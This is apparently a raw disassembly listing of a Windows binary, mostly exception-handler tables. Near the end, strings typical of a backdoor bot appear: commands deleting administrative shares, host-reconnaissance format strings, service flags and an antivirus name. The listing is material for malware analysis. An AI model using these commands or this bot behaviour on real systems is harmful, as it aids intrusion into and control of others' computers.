dd offset loc_432CBC
dd 0
dd offset loc_432CC7
dd 0
dd offset loc_432CD2
dd 0
dd offset loc_432CDD
dd 0
dd offset loc_432CE8
dd 0
dd offset loc_432CF3
dd 9, 432CFEh, 0
dd offset loc_432D09
dd 0
dd offset loc_432D14
dd 0
dd offset loc_432D1F
dd 0
dd offset loc_432D2A
dd 0Eh, 432D35h, 0Eh, 432D43h, 0Eh, 432D51h, 0Eh, 432D5Ch
dd 0Eh, 432D6Ah, 0Eh, 432D78h, 0Eh, 432D83h, 0Eh, 432D8Eh
dd 0
dd offset loc_432D99
dd 0
dd offset loc_432DA4
dd 0
dd offset loc_432DB2
dd 0
dd offset loc_432DC0
dd 1Ah, 432DCBh, 1Bh, 432DD6h, 0
dd offset loc_432DE1
dd 1Dh, 432DECh, 0
dd offset loc_432DF7
dd 1Fh, 432E02h, 0
dd offset loc_432E0D
dd 0
dd offset loc_432E18
dd 0
dd offset loc_432E23
dd 0
dd offset loc_432E2E
dd 0
dd offset loc_432E39
dd 25h, 432E44h, 26h, 432E4Fh, 0
dd offset loc_432E4F
dd 28h, 432E44h, 0
dd offset loc_432E5A
dd 0
dd offset loc_432E65
dd 2Bh, 432E70h, 2Ch, 432E7Bh, 0
dd offset loc_432E7B
dd 2Eh, 432E70h, 2Eh, 432E86h, 0
dd offset loc_432E91
dd 31h, 432E9Ch, 0
dd offset loc_432EA7
dd 0
dd offset loc_432EB2
dd 34h, 432EBDh, 35h, 432EC8h, 34h, 432EC8h, 0Ch dup(0)
dword_438900 dd 19930520h, 0Ah, 438920h, 5 dup(0) ; DATA XREF: _294ADE7B:00432FC0o
dd 0FFFFFFFFh, 432F70h, 0FFFFFFFFh, 432F78h, 0FFFFFFFFh
dd 432F80h, 0FFFFFFFFh, 432F88h, 0FFFFFFFFh, 432F90h, 0FFFFFFFFh
dd 432F98h, 0FFFFFFFFh, 432FA0h, 0FFFFFFFFh, 432FA8h, 0FFFFFFFFh
dd 432FB0h, 0FFFFFFFFh, 432FB8h, 4 dup(0)
dword_438980 dd 19930520h, 0Eh, 4389A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433059o
dd 0FFFFFFFFh, 432FE0h, 0
dd offset loc_432FE8
dd 0FFFFFFFFh, 432FF3h, 0FFFFFFFFh, 432FFBh, 0FFFFFFFFh
dd 433003h, 0FFFFFFFFh, 43300Bh, 5, 433016h, 0FFFFFFFFh
dd 43301Eh, 0FFFFFFFFh, 433026h, 0FFFFFFFFh, 43302Eh, 9
dd 433039h, 0FFFFFFFFh, 433041h, 0Bh, 433049h, 0Ch, 433051h
dd 4 dup(0)
dword_438A20 dd 19930520h, 2, 438A40h, 5 dup(0) ; DATA XREF: _294ADE7B:004330AFo
dd 0FFFFFFFFh, 433098h, 0
dd offset loc_433090
dd 2 dup(0)
dword_438A58 dd 19930520h, 2, 438A78h, 5 dup(0) ; DATA XREF: _294ADE7B:004330E0o
dd 0FFFFFFFFh, 4330D0h, 0
dd offset loc_4330D8
align 10h
dword_438A90 dd 19930520h, 11h, 438AB0h, 5 dup(0) ; DATA XREF: _294ADE7B:004331CFo
dd 0FFFFFFFFh, 4330F0h, 0
dd offset loc_4330F8
dd 1, 433103h, 2, 43310Eh, 3, 433119h, 4, 433127h, 5, 433135h
dd 6, 433143h, 7, 433151h, 8, 43315Fh, 9, 43316Dh, 0Ah
dd 43317Bh, 0Bh, 433189h, 0Ch, 433197h, 0Dh, 4331A5h, 0Eh
dd 4331B3h, 0Fh, 4331C1h, 4 dup(0)
dword_438B48 dd 19930520h, 1, 438B68h, 5 dup(0) ; DATA XREF: _294ADE7B:00433228o
dd 0FFFFFFFFh, 433220h, 2 dup(0)
dword_438B78 dd 19930520h, 1, 438B98h, 5 dup(0) ; DATA XREF: _294ADE7B:00433248o
dd 0FFFFFFFFh, 433240h, 2 dup(0)
dword_438BA8 dd 19930520h, 6, 438BC8h, 5 dup(0) ; DATA XREF: _294ADE7B:0043329Fo
dd 0FFFFFFFFh, 433260h, 0
dd offset loc_433268
dd 1, 433273h, 2, 43327Eh, 3, 433289h, 4, 433294h, 2 dup(0)
dword_438C00 dd 19930520h, 6, 438C20h, 5 dup(0) ; DATA XREF: _294ADE7B:004332FFo
dd 0FFFFFFFFh, 4332C0h, 0
dd offset loc_4332C8
dd 1, 4332D3h, 2, 4332DEh, 3, 4332E9h, 4, 4332F4h, 2 dup(0)
dword_438C58 dd 19930520h, 1, 438C78h, 5 dup(0) ; DATA XREF: _294ADE7B:00433328o
dd 0FFFFFFFFh, 433320h, 2 dup(0)
dword_438C88 dd 19930520h, 7, 438CA8h, 5 dup(0) ; DATA XREF: _294ADE7B:0043337Eo
dd 0FFFFFFFFh, 433340h, 0
dd offset loc_433348
dd 1, 433353h, 2, 43335Eh, 2, 433366h, 4, 43336Eh, 5, 433376h
dd 2 dup(0)
dword_438CE8 dd 19930520h, 4, 438D08h, 5 dup(0) ; DATA XREF: _294ADE7B:004333CCo
dd 0FFFFFFFFh, 4333A0h, 0
dd offset loc_4333AB
dd 1, 4333B6h, 2, 4333C1h, 2 dup(0)
dword_438D30 dd 19930520h, 4, 438D50h, 5 dup(0) ; DATA XREF: _294ADE7B:0043341Co
dd 0FFFFFFFFh, 4333F0h, 0
dd offset loc_4333FB
dd 1, 433406h, 2, 433411h, 2 dup(0)
dword_438D78 dd 19930520h, 2, 438D98h, 5 dup(0) ; DATA XREF: _294ADE7B:00433450o
dd 0FFFFFFFFh, 433440h, 0FFFFFFFFh, 433448h, 2 dup(0)
dword_438DB0 dd 19930520h, 1, 438DD0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433468o
dd 0FFFFFFFFh, 433460h, 2 dup(0)
dword_438DE0 dd 19930520h, 1, 438E00h, 5 dup(0) ; DATA XREF: _294ADE7B:00433488o
dd 0FFFFFFFFh, 433480h, 2 dup(0)
dword_438E10 dd 19930520h, 2, 438E30h, 5 dup(0) ; DATA XREF: _294ADE7B:004334B0o
dd 0FFFFFFFFh, 4334A0h, 0
dd offset loc_4334A8
dd 2 dup(0)
dword_438E48 dd 19930520h, 3, 438E68h, 5 dup(0) ; DATA XREF: _294ADE7B:004334DEo
dd 0FFFFFFFFh, 4334C0h, 0
dd offset loc_4334C8
dd 1, 4334D3h, 2 dup(0)
dword_438E88 dd 19930520h, 3, 438EA8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433518o
dd 0FFFFFFFFh, 433500h, 0
dd offset loc_433508
dd 1, 433510h, 2 dup(0)
dword_438EC8 dd 19930520h, 1, 438EE8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433538o
dd 0FFFFFFFFh, 433530h, 2 dup(0)
dword_438EF8 dd 19930520h, 4, 438F18h, 5 dup(0) ; DATA XREF: _294ADE7B:00433573o
dd 0FFFFFFFFh, 433550h, 0
dd offset loc_433558
dd 0
dd offset loc_433560
dd 0
dd offset loc_43356B
align 10h
dword_438F40 dd 19930520h, 6, 438F60h, 5 dup(0) ; DATA XREF: _294ADE7B:004335C3o
dd 0FFFFFFFFh, 433590h, 0
dd offset loc_433598
dd 1, 4335A0h, 2, 4335A8h, 3, 4335B0h, 4, 4335B8h, 2 dup(0)
dword_438F98 dd 19930520h, 3, 438FB8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433601o
dd 0FFFFFFFFh, 4335E0h, 0
dd offset loc_4335EB
dd 1, 4335F6h, 2 dup(0)
dword_438FD8 dd 19930520h, 4, 438FF8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433640o
dd 0FFFFFFFFh, 433620h, 0
dd offset loc_433628
dd 1, 433630h, 2, 433638h, 2 dup(0)
dword_439020 dd 19930520h, 5, 439040h, 5 dup(0) ; DATA XREF: _294ADE7B:0043368Bo
dd 0FFFFFFFFh, 433660h, 0
dd offset loc_433668
dd 1, 433670h, 2, 433678h, 3, 433680h, 2 dup(0)
dword_439070 dd 19930520h, 4, 439090h, 5 dup(0) ; DATA XREF: _294ADE7B:004336D9o
dd 0FFFFFFFFh, 4336B0h, 0
dd offset loc_4336B8
dd 1, 4336C3h, 2, 4336CEh, 2 dup(0)
dword_4390B8 dd 19930520h, 3, 4390D8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433708o
dd 0FFFFFFFFh, 4336F0h, 0
dd offset loc_4336F8
dd 1, 433700h, 2 dup(0)
dword_4390F8 dd 19930520h, 1, 439118h, 5 dup(0) ; DATA XREF: _294ADE7B:00433728o
dd 0FFFFFFFFh, 433720h, 2 dup(0)
dword_439128 dd 19930520h, 2, 439148h, 5 dup(0) ; DATA XREF: _294ADE7B:00433750o
dd 0FFFFFFFFh, 433740h, 0
dd offset loc_433748
align 10h
dword_439160 dd 19930520h, 2, 439180h, 5 dup(0) ; DATA XREF: _294ADE7B:00433770o
dd 0FFFFFFFFh, 433760h, 0
dd offset loc_433768
dd 2 dup(0)
dword_439198 dd 19930520h, 3, 4391B8h, 5 dup(0) ; DATA XREF: _294ADE7B:004337A1o
dd 0FFFFFFFFh, 433780h, 0
dd offset loc_43378B
dd 1, 433796h, 2 dup(0)
dword_4391D8 dd 19930520h, 1, 4391F8h, 5 dup(0) ; DATA XREF: _294ADE7B:004337C8o
dd 0FFFFFFFFh, 4337C0h, 2 dup(0)
dword_439208 dd 19930520h, 1, 439228h, 5 dup(0) ; DATA XREF: _294ADE7B:004337E8o
dd 0FFFFFFFFh, 4337E0h, 2 dup(0)
dword_439238 dd 19930520h, 4, 439258h, 5 dup(0) ; DATA XREF: _294ADE7B:00433829o
dd 0FFFFFFFFh, 433800h, 0
dd offset loc_433808
dd 1, 433813h, 2, 43381Eh, 2 dup(0)
dword_439280 dd 19930520h, 7, 4392A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433878o
dd 0FFFFFFFFh, 433840h, 0FFFFFFFFh, 433848h, 0FFFFFFFFh
dd 433850h, 2, 433858h, 3, 433860h, 4, 433868h, 0FFFFFFFFh
dd 433870h, 2 dup(0)
dword_4392E0 dd 19930520h, 14h, 439300h, 5 dup(0) ; DATA XREF: _294ADE7B:004339AFo
dd 0FFFFFFFFh, 4338A0h, 0
dd offset loc_4338A8
dd 1, 4338B3h, 2, 4338C1h, 3, 4338CFh, 4, 4338DDh, 5, 4338EBh
dd 6, 4338F9h, 7, 433907h, 8, 433915h, 9, 433923h, 0Ah
dd 433931h, 0Bh, 43393Fh, 0Ch, 43394Dh, 0Dh, 43395Bh, 0Eh
dd 433969h, 0Fh, 433977h, 10h, 433985h, 11h, 433993h, 12h
dd 4339A1h, 6 dup(0)
dword_4393B8 dd 19930520h, 14h, 4393D8h, 5 dup(0) ; DATA XREF: _294ADE7B:00433B0Fo
dd 0FFFFFFFFh, 433A00h, 0
dd offset loc_433A08
dd 1, 433A13h, 2, 433A21h, 3, 433A2Fh, 4, 433A3Dh, 5, 433A4Bh
dd 6, 433A59h, 7, 433A67h, 8, 433A75h, 9, 433A83h, 0Ah
dd 433A91h, 0Bh, 433A9Fh, 0Ch, 433AADh, 0Dh, 433ABBh, 0Eh
dd 433AC9h, 0Fh, 433AD7h, 10h, 433AE5h, 11h, 433AF3h, 12h
dd 433B01h, 6 dup(0)
dword_439490 dd 19930520h, 1, 4394B0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433B6Bo
dd 0FFFFFFFFh, 433B60h, 2 dup(0)
dword_4394C0 dd 19930520h, 3Dh, 4394E0h, 5 dup(0) ; DATA XREF: _294ADE7B:00433ED0o
dd 0FFFFFFFFh, 433B80h, 0
dd offset loc_433B8B
dd 1, 433B96h, 2, 433BA4h, 3, 433BB2h, 4, 433BC0h, 5, 433BCEh
dd 6, 433BDCh, 7, 433BEAh, 8, 433BF8h, 9, 433C06h, 0Ah
dd 433C14h, 0Bh, 433C22h, 0Ch, 433C30h, 0Dh, 433C3Eh, 0Eh
dd 433C4Ch, 0Fh, 433C5Ah, 10h, 433C68h, 11h, 433C76h, 12h
dd 433C84h, 13h, 433C92h, 14h, 433CA0h, 15h, 433CAEh, 16h
dd 433CBCh, 17h, 433CCAh, 18h, 433CD8h, 19h, 433CE6h, 1Ah
dd 433CF4h, 1Bh, 433D02h, 1Ch, 433D10h, 1Dh, 433D1Eh, 1Eh
dd 433D2Ch, 1Fh, 433D3Ah, 20h, 433D48h, 21h, 433D56h, 22h
dd 433D64h, 23h, 433D72h, 24h, 433D80h, 25h, 433D8Eh, 26h
dd 433D9Ch, 27h, 433DAAh, 28h, 433DB8h, 29h, 433DC6h, 2Ah
dd 433DD4h, 2Bh, 433DE2h, 2Ch, 433DF0h, 2Dh, 433DFEh, 2Eh
dd 433E0Ch, 2Fh, 433E1Ah, 30h, 433E28h, 31h, 433E36h, 32h
dd 433E44h, 33h, 433E52h, 34h, 433E60h, 35h, 433E6Eh, 36h
dd 433E7Ch, 37h, 433E8Ah, 38h, 433E98h, 39h, 433EA6h, 3Ah
dd 433EB4h, 3Bh, 433EC2h, 0Eh dup(0)
dword_439700 dd 19930520h, 4, 439720h, 5 dup(0) ; DATA XREF: _294ADE7B:00433FDCo
dd 0FFFFFFFFh, 433FB0h, 0
dd offset loc_433FBB
dd 1, 433FC6h, 2, 433FD1h, 2 dup(0)
dword_439748 dd 19930520h, 6, 439768h, 5 dup(0) ; DATA XREF: _294ADE7B:0043404Bo
dd 0FFFFFFFFh, 434000h, 0
dd offset loc_43400B
dd 1, 434016h, 2, 434021h, 3, 43402Fh, 4, 43403Dh, 2 dup(0)
dword_4397A0 dd 19930520h, 5, 4397C0h, 5 dup(0) ; DATA XREF: _294ADE7B:004340B6o
dd 0FFFFFFFFh, 434070h, 0
dd offset loc_43407E
dd 1, 43408Ch, 2, 43409Ah, 3, 4340A8h, 2 dup(0)
dword_4397F0 dd 19930520h, 5, 439810h, 5 dup(0) ; DATA XREF: _294ADE7B:0043411Do
dd 0FFFFFFFFh, 4340E0h, 0
dd offset loc_4340EB
dd 1, 4340F6h, 2, 434101h, 3, 43410Fh, 2 dup(0)
dword_439840 dd 19930520h, 2, 439860h, 5 dup(0) ; DATA XREF: SEH_4163B0o
dd 0FFFFFFFFh, 434140h, 0
dd offset loc_43414B
dd 2 dup(0)
dword_439878 dd 19930520h, 4, 439898h, 5 dup(0) ; DATA XREF: _294ADE7B:0043419Fo
dd 0FFFFFFFFh, 434170h, 0
dd offset loc_43417B
dd 1, 434186h, 2, 434191h, 2 dup(0)
dword_4398C0 dd 19930520h, 4, 4398E0h, 5 dup(0) ; DATA XREF: _294ADE7B:004341ECo
dd 0FFFFFFFFh, 4341C0h, 0
dd offset loc_4341CB
dd 1, 4341D6h, 2, 4341E1h, 2 dup(0)
dword_439908 dd 19930520h, 6, 439928h, 5 dup(0) ; DATA XREF: _294ADE7B:0043425Bo
dd 0FFFFFFFFh, 434210h, 0
dd offset loc_43421B
dd 1, 434226h, 2, 434231h, 3, 43423Fh, 4, 43424Dh, 2 dup(0)
dword_439960 dd 19930520h, 5, 439980h, 5 dup(0) ; DATA XREF: _294ADE7B:004342C6o
dd 0FFFFFFFFh, 434280h, 0
dd offset loc_43428E
dd 1, 43429Ch, 2, 4342AAh, 3, 4342B8h, 2 dup(0)
dword_4399B0 dd 19930520h, 5, 4399D0h, 5 dup(0) ; DATA XREF: _294ADE7B:0043432Do
dd 0FFFFFFFFh, 4342F0h, 0
dd offset loc_4342FB
dd 1, 434306h, 2, 434311h, 3, 43431Fh, 2 dup(0)
dword_439A00 dd 19930520h, 2, 439A20h, 5 dup(0) ; DATA XREF: SEH_416860o
dd 0FFFFFFFFh, 434350h, 0
dd offset loc_43435B
dd 2 dup(0)
dword_439A38 dd 19930520h, 4, 439A58h, 5 dup(0) ; DATA XREF: _294ADE7B:004343AFo
dd 0FFFFFFFFh, 434380h, 0
dd offset loc_43438B
dd 1, 434396h, 2, 4343A1h, 2 dup(0)
dword_439A80 dd 19930520h, 1, 439AA0h, 5 dup(0) ; DATA XREF: _294ADE7B:004343DBo
dd 0FFFFFFFFh, 4343D0h, 2 dup(0)
dword_439AB0 dd 19930520h, 2, 439AD0h, 5 dup(0) ; DATA XREF: _294ADE7B:00434406o
dd 0FFFFFFFFh, 4343F0h, 0
dd offset loc_4343FB
dd 2 dup(0)
dword_439AE8 dd 19930520h, 1, 439B08h, 5 dup(0) ; DATA XREF: _294ADE7B:00434428o
dd 0FFFFFFFFh, 434420h, 2 dup(0)
dword_439B18 dd 19930520h, 3, 439B38h, 5 dup(0) ; DATA XREF: SEH_4178D0o
dd 0FFFFFFFFh, 434440h, 0FFFFFFFFh, 43444Bh, 1, 434456h
dd 2 dup(0)
dword_439B58 dd 19930520h, 1, 439B78h, 5 dup(0) ; DATA XREF: _294ADE7B:0043448Bo
dd 0FFFFFFFFh, 434480h, 2 dup(0)
dword_439B88 dd 19930520h, 1, 439BA8h, 5 dup(0) ; DATA XREF: _294ADE7B:004344ABo
dd 0FFFFFFFFh, 4344A0h, 2 dup(0)
dword_439BB8 dd 19930520h, 3, 439BD8h, 5 dup(0) ; DATA XREF: _294ADE7B:004344E7o
dd 0FFFFFFFFh, 4344C0h, 0
dd offset loc_4344D7
dd 1, 4344DFh, 2 dup(0)
dword_439BF8 dd 19930520h, 1, 439C18h, 5 dup(0) ; DATA XREF: _294ADE7B:00434508o
dd 0FFFFFFFFh, 434500h, 2 dup(0)
dword_439C28 dd 19930520h, 4, 439C48h, 5 dup(0) ; DATA XREF: SEH_41A020o
dd 0FFFFFFFFh, 434528h, 0
dd offset loc_434520
dd 0
dd offset loc_43453F
dd 2, 434547h, 2 dup(0)
dword_439C70 dd 19930520h, 6, 439C90h, 5 dup(0) ; DATA XREF: SEH_41AA60o
dd 0FFFFFFFFh, 434570h, 0FFFFFFFFh, 434578h, 0FFFFFFFFh
dd 434580h, 0FFFFFFFFh, 434588h, 0FFFFFFFFh, 434590h, 0FFFFFFFFh
dd 434598h, 2 dup(0)
dword_439CC8 dd 19930520h, 1Ah, 439CE8h, 5 dup(0) ; DATA XREF: SEH_41ACE0o
dd 0FFFFFFFFh, 4345C0h, 0
dd offset loc_4345CB
dd 1, 4345D6h, 2, 4345E1h, 3, 4345ECh, 4, 4345F7h, 5, 4345FFh
dd 5, 43460Ah, 5, 434615h, 5, 434623h, 5, 43462Eh, 5, 434639h
dd 5, 434647h, 5, 434652h, 5, 43465Dh, 5, 434668h, 5, 434676h
dd 5, 434681h, 5, 43468Ch, 5, 43469Ah, 5, 4346A5h, 5, 4346B0h
dd 5, 4346BEh, 5, 4346C9h, 5, 4346D4h, 5, 4346DFh, 6 dup(0)
dword_439DD0 dd 19930520h, 4, 439DF0h, 5 dup(0) ; DATA XREF: SEH_41BC10o
dd 0FFFFFFFFh, 434750h, 0
dd offset loc_434758
dd 1, 434763h, 2, 43476Eh, 2 dup(0)
dword_439E18 dd 19930520h, 4, 439E38h, 5 dup(0) ; DATA XREF: SEH_41BCA0o
dd 0FFFFFFFFh, 434790h, 0
dd offset loc_434798
dd 1, 4347A3h, 2, 4347AEh, 2 dup(0)
dword_439E60 dd 19930520h, 6, 439E80h, 5 dup(0) ; DATA XREF: SEH_41BD40o
dd 0FFFFFFFFh, 4347D0h, 0
dd offset loc_4347D8
dd 1, 4347E3h, 2, 4347EEh, 3, 4347F9h, 4, 434804h, 2 dup(0)
dword_439EB8 dd 19930520h, 6, 439ED8h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434872o
dd 0FFFFFFFFh, 434830h, 0FFFFFFFFh, 43483Bh, 0FFFFFFFFh
dd 434846h, 2, 434851h, 3, 43485Ch, 2, 434867h, 2 dup(0)
dword_439F10 dd 19930520h, 3, 439F30h, 5 dup(0) ; DATA XREF: SEH_41C710o
dd 0FFFFFFFFh, 434890h, 0FFFFFFFFh, 434898h, 0FFFFFFFFh
dd 4348A0h, 2 dup(0)
dword_439F50 dd 19930520h, 5, 439F70h, 5 dup(0) ; DATA XREF: SEH_41C9D0o
dd 0FFFFFFFFh, 4348C0h, 0FFFFFFFFh, 4348C8h, 0FFFFFFFFh
dd 4348D0h, 0FFFFFFFFh, 4348D8h, 0FFFFFFFFh, 4348E0h, 2 dup(0)
dword_439FA0 dd 19930520h, 0Ch, 439FC0h, 5 dup(0) ; DATA XREF: SEH_41CC30o
dd 0FFFFFFFFh, 434900h, 0
dd offset loc_434908
dd 0FFFFFFFFh, 434910h, 0FFFFFFFFh, 434918h, 0FFFFFFFFh
dd 434920h, 0FFFFFFFFh, 434928h, 5, 434930h, 0FFFFFFFFh
dd 434938h, 0FFFFFFFFh, 434940h, 0FFFFFFFFh, 434948h, 0FFFFFFFFh
dd 434950h, 0FFFFFFFFh, 434958h, 4 dup(0)
dd 19930520h, 2, 43A050h, 1, 43A060h, 3 dup(0)
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 43A078h, 4 dup(0)
dd offset loc_41D3FC
align 10h
dword_43A090 dd 19930520h, 0Ah, 43A0B0h, 5 dup(0) ; DATA XREF: SEH_41D500o
dd 0FFFFFFFFh, 4349A0h, 0
dd offset loc_4349AB
dd 1, 4349B6h, 2, 4349C1h, 3, 4349CCh, 3, 4349D7h, 3, 4349E2h
dd 3, 4349EDh, 3, 4349F8h, 3, 434A03h, 4 dup(0)
dword_43A110 dd 19930520h, 2, 43A130h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434A50o
dd 0FFFFFFFFh, 434A40h, 0
dd offset loc_434A48
dd 2 dup(0)
dword_43A148 dd 19930520h, 3, 43A168h, 5 dup(0) ; DATA XREF: SEH_41E6C0o
dd 0FFFFFFFFh, 434A60h, 0FFFFFFFFh, 434A6Bh, 1, 434A76h
dd 2 dup(0)
dword_43A188 dd 19930520h, 1, 43A1A8h, 5 dup(0) ; DATA XREF: SEH_41EB00o
dd 0FFFFFFFFh, 434AA0h, 2 dup(0)
dword_43A1B8 dd 19930520h, 2, 43A1D8h, 5 dup(0) ; DATA XREF: SEH_41EDB0o
dd 0FFFFFFFFh, 434AC0h, 0
dd offset loc_434ACB
align 10h
dword_43A1F0 dd 19930520h, 16h, 43A210h, 5 dup(0) ; DATA XREF: SEH_41F3E0o
dd 0FFFFFFFFh, 434AF0h, 0
dd offset loc_434AFB
dd 0
dd offset loc_434B03
dd 0
dd offset loc_434B0B
dd 3, 434B13h, 4, 434B1Bh, 0
dd offset loc_434B23
dd 6, 434B2Bh, 7, 434B33h, 0
dd offset loc_434B3B
dd 9, 434B43h, 0Ah, 434B4Bh, 0
dd offset loc_434B53
dd 0Ch, 434B5Bh, 0Dh, 434B63h, 0
dd offset loc_434B6B
dd 0Fh, 434B73h, 0
dd offset loc_434B7B
dd 11h, 434B83h, 0
dd offset loc_434B8B
dd 13h, 434B93h, 13h, 434B9Bh, 6 dup(0)
dword_43A2D8 dd 19930520h, 6, 43A2F8h, 5 dup(0) ; DATA XREF: SEH_41FE70o
dd 0FFFFFFFFh, 434BE0h, 0
dd offset loc_434BE8
dd 1, 434BF3h, 2, 434BFEh, 3, 434C09h, 4, 434C14h, 2 dup(0)
dword_43A330 dd 19930520h, 1, 43A350h, 5 dup(0) ; DATA XREF: SEH_420D20o
dd 0FFFFFFFFh, 434C40h, 2 dup(0)
dword_43A360 dd 19930520h, 1, 43A380h, 5 dup(0) ; DATA XREF: SEH_420DB0o
dd 0FFFFFFFFh, 434C70h, 2 dup(0)
dword_43A390 dd 19930520h, 6, 43A3B0h, 5 dup(0) ; DATA XREF: SEH_420EC0o
dd 0FFFFFFFFh, 434CA0h, 0FFFFFFFFh, 434CA8h, 0FFFFFFFFh
dd 434CB0h, 0FFFFFFFFh, 434CB8h, 0FFFFFFFFh, 434CC0h, 0FFFFFFFFh
dd 434CC8h, 2 dup(0)
dword_43A3E8 dd 19930520h, 0Bh, 43A408h, 5 dup(0) ; DATA XREF: SEH_421170o
dd 0FFFFFFFFh, 434CF0h, 0FFFFFFFFh, 434CFBh, 0FFFFFFFFh
dd 434D11h, 0FFFFFFFFh, 434D1Ch, 0FFFFFFFFh, 434D27h, 0FFFFFFFFh
dd 434D32h, 0FFFFFFFFh, 434D3Dh, 0FFFFFFFFh, 434D48h, 0FFFFFFFFh
dd 434D53h, 0FFFFFFFFh, 434D5Eh, 0FFFFFFFFh, 434D06h, 4 dup(0)
dword_43A470 dd 19930520h, 1, 43A490h, 5 dup(0) ; DATA XREF: SEH_4239C0o
dd 0FFFFFFFFh, 434DA0h, 2 dup(0)
dword_43A4A0 dd 19930520h, 5, 43A4C0h, 5 dup(0) ; DATA XREF: SEH_426110o
dd 0FFFFFFFFh, 434DC0h, 0FFFFFFFFh, 434DC8h, 0FFFFFFFFh
dd 434DD0h, 0FFFFFFFFh, 434DD8h, 0FFFFFFFFh, 434DE0h, 2 dup(0)
dword_43A4F0 dd 19930520h, 0Ah, 43A510h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434E56o
dd 0FFFFFFFFh, 434E00h, 0FFFFFFFFh, 434E0Bh, 0FFFFFFFFh
dd 434E13h, 0FFFFFFFFh, 434E1Bh, 0FFFFFFFFh, 434E23h, 0FFFFFFFFh
dd 434E2Bh, 0FFFFFFFFh, 434E36h, 0FFFFFFFFh, 434E3Eh, 0FFFFFFFFh
dd 434E46h, 0FFFFFFFFh, 434E4Eh, 4 dup(0)
dword_43A570 dd 19930520h, 1, 43A590h, 5 dup(0) ; DATA XREF: SEH_4267F0o
dd 0FFFFFFFFh, 434E80h, 2 dup(0)
dword_43A5A0 dd 19930520h, 1, 43A5C0h, 5 dup(0) ; DATA XREF: SEH_4268B0o
dd 0FFFFFFFFh, 434EA0h, 2 dup(0)
dword_43A5D0 dd 19930520h, 5, 43A5F0h, 5 dup(0) ; DATA XREF: SEH_426BB0o
dd 0FFFFFFFFh, 434EC0h, 0
dd offset loc_434EC8
dd 1, 434ED3h, 2, 434EDEh, 3, 434EE9h, 2 dup(0)
dword_43A620 dd 19930520h, 5, 43A640h, 5 dup(0) ; DATA XREF: SEH_426C50o
dd 0FFFFFFFFh, 434F10h, 0
dd offset loc_434F18
dd 1, 434F23h, 2, 434F2Eh, 3, 434F39h, 2 dup(0)
dword_43A670 dd 19930520h, 1, 43A690h, 5 dup(0) ; DATA XREF: SEH_426D40o
dd 0FFFFFFFFh, 434F60h, 2 dup(0)
dword_43A6A0 dd 19930520h, 1, 43A6C0h, 5 dup(0) ; DATA XREF: SEH_426E00o
dd 0FFFFFFFFh, 434F80h, 2 dup(0)
dword_43A6D0 dd 19930520h, 1, 43A6F0h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434FA8o
dd 0FFFFFFFFh, 434FA0h, 2 dup(0)
dword_43A700 dd 19930520h, 1, 43A720h, 5 dup(0) ; DATA XREF: SEH_427310o
dd 0FFFFFFFFh, 434FC0h, 236h dup(0)
_8C6BDE73 ends
; Section 3. (virtual address 0003B000)
; Virtual size : 00078000 ( 491520.)
; Section size in file : 00078000 ( 491520.)
; Offset to raw data for section: 0003B000
; Flags C00000E0: Text Data Bss Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Uninitialized
; Segment permissions: Read/Write
_5AD6BD6B segment para public 'BSS' use32
assume cs:_5AD6BD6B
;org 43B000h
assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
dd 41h dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd offset aRrr+73h
dd 105h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
dd 7Ch
dword_43B5F0 dd 7325h, 25207325h, 0A0D73h, 0 ; DATA XREF: sub_426E00+1ADo
; sub_427CB0+53o ...
dword_43B600 dd 20h, 6F2D20h, 2074656Eh, 72616873h, 64612065h, 246E696Dh
; DATA XREF: sub_41ACE0+C6o
; sub_41ACE0+15Fo ...
dd 65642F20h, 6574656Ch, 792F20h, 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dd 255C7325h, 73h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h
dd 4F5C7466h, 454Ch, 0
dd 4Eh, 63657845h, 64657475h, 7325203Ah, 2Eh, 6F736572h
dd 2E65766Ch, 6F727265h, 73252072h, 2Eh, 0
dd 2D207325h, 7325203Eh, 0
dd 72207325h, 6C6F7365h, 20646576h, 7325h, 0
aOpen db 'open',0 ; DATA XREF: sub_41A700+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_41BE00+6CEo
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
dd 5B207325h, 5D7325h, 0
dd 3F3F3Fh, 33303032h, 0
dd 5058h, 30303032h, 0
dd 454Dh, 3839h, 544Eh, 3539h, 6961622Dh, 0
dd 74656E2Dh, 73637673h, 0
dd 6470752Dh, 657461h, 0
dd 6265642Dh, 6775h, 6425h
dword_43B7F8 dd 2Eh, 39393939h, 3939h, 616D7953h, 6365746Eh, 746E4120h
; DATA XREF: _294ADE7B:0041A3C7o
; _294ADE7B:loc_41A3E7o ...
dd 72697669h, 70207375h, 65666F72h, 6F697373h, 6C616Eh
dd 2 dup(0)
aL33t db 'l33t',0
align 4
